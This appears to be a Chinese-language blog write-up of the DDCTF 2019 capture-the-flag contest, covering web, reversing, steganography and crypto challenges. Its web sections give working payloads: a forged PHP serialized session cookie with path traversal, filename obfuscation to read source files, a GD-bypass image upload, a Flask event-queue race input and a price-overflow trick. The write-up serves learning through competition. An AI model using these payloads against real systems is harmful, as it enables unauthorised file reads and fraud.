作者: lolpzili
本文链接,长期有效: https://lolpzili.com/2019/04/23/DDCTF%202019%20Writeup/
未经允许,不得转载
滴~
打开网页http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
发现地址栏的TmpZMlF6WXhOamN5UlRaQk56QTJOdz09十分可疑,用base64解码两次,在得到一段hex,再转成字符串发现其为flag.jpg为其显示的文件.
将index.php使用逆方法得到index.php的内容
解码得到:
1 |
|
打开 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 发现没有任何提示,找了半天,发现提示在 https://blog.csdn.net/fengbanliuyun/article/details/80913909 ,尝试进入 http://117.51.150.246/practice.txt.swp ,得到提示flag!ddctf.php
根据代码的$file = str_replace(“config”,”!”, $file);
构造”f1agconfigddctf.php”得到文件内容:
1 |
|
访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=得到flag
WEB签到题
F12查看源码,发现验证在js/index.js里
构造请求
得到Application.php和Session.php的源码
其中,这一段会得到flag
在Application销毁的时候会读取path的文件内容
在Session.php中发现了反序列化漏洞
但发现session有签名验证
所以需要先拿到eancrykey,继续阅读得到发现这里会照成eancry泄露
使nickname为%s
得到eancry为EzblrbNS,构造payload
1 | a:5:{s:10:"session_id";s:32:"a2bc99d99a7e5d14629ca931171e5242";s:10:"ip_address";s:14:"123.147.248.60";s:10:"user_agent";s:20:"PostmanRuntime/7.6.1";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}} |
将其放入cookie:
1 | a%3a5%3a%7bs%3a10%3a%22session_id%22%3bs%3a32%3a%22a2bc99d99a7e5d14629ca931171e5242%22%3bs%3a10%3a%22ip_address%22%3bs%3a14%3a%22123.147.248.60%22%3bs%3a10%3a%22user_agent%22%3bs%3a20%3a%22PostmanRuntime%2f7.6.1%22%3bs%3a9%3a%22user_data%22%3bs%3a0%3a%22%22%3bs%3a7%3a%22payload%22%3bO%3a11%3a%22Application%22%3a1%3a%7bs%3a4%3a%22path%22%3bs%3a21%3a%22....%2f%2fconfig%2fflag.txt%22%3b%7d%7dbfb9fb7e06e86c914f19b6b2b4cb2e55 |
得到flag
Upload-IMG
先随便上传一张图片,发现其需要在图片中有phpinfo()
直接在图片末尾添加发现无效,将显示的图片下载下来发现其被GD库压缩过,所以使用绕过GD库的工具进行添加.
将一张100x100的空白图片使用jpg_payload工具进行处理,将其$miniPayload改为’‘;.
发现还是失败,多尝试了几次,发现成功获得了flag
homebrew event loop
打开网页,下载得到服务器源码.分析,发现其中有一个eval,但输入仅能在”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#”这些字符当中选取,所以不可能通过他来调用函数,并且event_handler(args)会强行传入一个数组,所以调用python自带函数的方法基本上不可用了.继续阅读,发现其buy_handler为先加item再进行判断,而且是将判断的操作添加到事件队列的尾端,所以可以利用这一漏洞,在它进行判断之前调用get_flag_handler就可以在log中看到flag(因为flask是将session储存在的客户端,这个session是可以直接查看的)
构造输入action:trigger_event%23;action:buy;100%23action:get_flag;拿到session:
1 | .eJyNjl1rwjAUhv_KyLUX_UC6FnpR0ZQJscx1Jj1jjMaoa2xiWa11Ef_7sl1MxF3s7vC-D895T6jebVD0ckJ3HEWooDOnpGGX6flnSYUGNl0Dg5rrR5l5WIq0PnDZVIJtA5In_cMls-x8Der4DqaN0Xlwo1RTd5W3RzJOvuubVtQCh4qnWGd9bInXXwPoRVeYRnJvaAR1a-aPDiUdOpmZ9CSJ_7JpaIAtA0ttgW1-bNcyU6ahzzxoC7oMiF84ZHFvhJx1dkRLxqOeeTgDOyif4PzJDWXuhB88ff7nM6Q79VbtV6pFkT9Aza7Se3s65y_0JHYI.D5yvGA.x00pE4Oh0Mp1whb48EQN3z0q3qU |
使用工具解密得到flag:
大吉大利,今晚吃鸡~
对购买操作进行抓包修改,发现其金额可以改变,尝试将其改为100,显示票的价格是两千,而向上改没有报错,说明这道题应该是溢出,改价格为4294967296
支付成功
尝试注册新号码进行移除,发现可行,于是写了脚本进行操作
1 | import requests |
最终得到flag
Windows Reverse1
查壳发现其加了UPX壳
使用upx -d进行脱壳,用ida pro打开,发现其功能为将输入进行某种操作使其等于DDCTF{reverseME}
进入函数发现其为查表
写出程序
1 | temp = "}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!" |
DDCTF{ZZ[JX#,9(9,+9QY!}
即为flag
Windows Reverse2
查壳发现其为aspack壳,没有找到可用脱壳工具,手动脱壳
来到oep
使用scylla将其dump出来
用ida pro分析
其输入应为偶数位的十六进制,经过check的变换得到DDCTF{reverse+}
结合OD动态调试分析后发现,输入的十六进制进行base64编码得到reverse+即可
Flag即为DDCTF{ADEBDEAEC7BE}
Confused
因为没有mac,所以只有静态分析
Flag除去两边包裹长度为18位,关键在check里面
第一个函数为一系列赋值
第二个为判断结果
a1+24存的值为指向loc_100001980+4的内容的指针
继续分析while及里面的函数,while为一直循环直到a1+24指向的位置的值为F3
函数为从a1+0x20开始,每次往后找0x10个地址上的值,如果与a1+0x18(即24)所指的地方的值相同则取出在当前位置的后8位存的函数地址,并调用.
人肉模拟ram,上面的是a1的值,下面是a1+24的指针指向的地址的值,其中a1的0x00为临时存放的正确结果,0x10为判断结果的存放位置(即当前的值是否正确)
跟着下方的内容走,分析出沿途所有需要使用的函数的意义,F0为将其后面第二位的值放入a1+0(因为在输入正确的前提下F0后面始终是10,其他情况就忽略了)F2为判断当前位是否正确,判断结果放入a1+0x10.F6为判断a1+0x10是否为真,为假则按照它后面的一个值跳出整个过程,F7为成功,F8为按照a->c,b->d,…,y->a,z->b的规律将a1+0的值进行变换(大写相同,其他不变)F3是空的函数,其余函数在验证成功的前提下,没有执行,故没有分析.
将所有值拿出来,写出脚本
1 | flag = [0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65] |
得到flag
真-签到题
北京地铁
使用stegsolve查看,发现rgb最低位藏有数据
后面官方放出提示1,提示2没有进展,直到提示三 ,发现和题目的Color Threshold联系起来了.(一直在纠结,为什么图片叫北京地铁2,没有1怀疑藏了图片)
用ps调低阈值发现,图片中仅存的一个圈
将地图上的地名输入,得到flag
MulTzor
因为T的大写让我误以为Tzor是一个单词,找了半天没有任何发现,后来才发现是MultXor的变体,使用xortool来解密,得到flag
Wireshark
查看http对象,发现它有一个网页,三张图片,其他数据对题目没有帮助.
将他们的导出,网页是一个隐写的工具,一张钥匙图片和两张相同的图片,支持占用空间不同,怀疑大的那张是隐写了数据的.(t.png已经修改高度,原图只有钥匙)
更改钥匙图片的高度,发现密码
打开网页文件所对应的网页,解密
中间很明显为hex,解码得到flag
联盟决策大会
题目中提示为Shamir秘密分享方案,搜索找到它的生成以及还原脚本,并进行修改,得到解密脚本(太长放在最后)
因为题目中为组织1成员1,2,4; 组织2成员3,4,5,猜测算法中取的x与成员的编号有关,而解出最后flag的x为1,2
运行得到flag
脚本:
'''
The following Python implementation of Shamir's Secret Sharing is
released into the Public Domain under the terms of CC0 and OWFa:
https://creativecommons.org/publicdomain/zero/1.0/
http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0
See the bottom few lines for usage. Tested on Python 2 and 3.
'''
from __future__ import division
from __future__ import print_function
import random
import functools
# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g. desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)
_PRIME = 2**127 - 1
# 13th Mersenne Prime is 2**521 - 1
_RINT = functools.partial(random.SystemRandom().randint, 0)
def _eval_at(poly, x, prime):
'''evaluates polynomial (coefficient tuple) at x, used to generate a
shamir pool in make_random_shares below.
'''
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum
def make_random_shares(minimum, shares, prime=_PRIME):
'''
Generates a random shamir pool, returns the secret and the share
points.
'''
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points
def _extended_gcd(a, b):
'''
division in integers modulus p means finding the inverse of the
denominator modulo p and then multiplying the numerator by this
inverse (Note: inverse of A is B such that A*B % p == 1) this can
be computed via extended Euclidean algorithm
http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
'''
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y
def _divmod(num, den, p):
'''compute num / den modulo prime p
To explain what this means, the return value will be such that
the following is true: den * _divmod(num, den, p) % p == num
'''
inv, _ = _extended_gcd(den, p)
return num * inv
def _lagrange_interpolate(x, x_s, y_s, p):
'''
Find the y-value for the given x, given n (x, y) points;
k points will define a polynomial of up to kth order
'''
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p
def recover_secret(shares, prime=_PRIME):
'''
Recover the secret from share points
(x,y points on the polynomial)
'''
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime)
def main():
p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
s1 = recover_secret(
[
(1, 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A),
(2, 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7),
(4, 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
],
prime=p
)
s2 = recover_secret(
[
(3, 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA),
(4, 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9),
(5, 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
],
prime=p
)
s = recover_secret(
[
(1, s1),
(2, s2),
],
prime=p
)
print("组织1:", s1)
print("组织2:", s2)
print("密码:", s)
s = bytes.fromhex(hex(s)[2:])
print('flag:', s.decode('ascii'))
if __name__ == '__main__':
main()
写在最后
这算是第一场我拼尽全力去打的比赛吧,连续熬了几个通宵,最后比赛完是筋疲力竭.但也收获了很多做题的经验,虽然拼尽全力在比赛结束时能也没进前三十,但我也真的尽力了,希望经过长期的训练之后我也可以像前面的大佬一样.
更新
没想到被ban了这么多人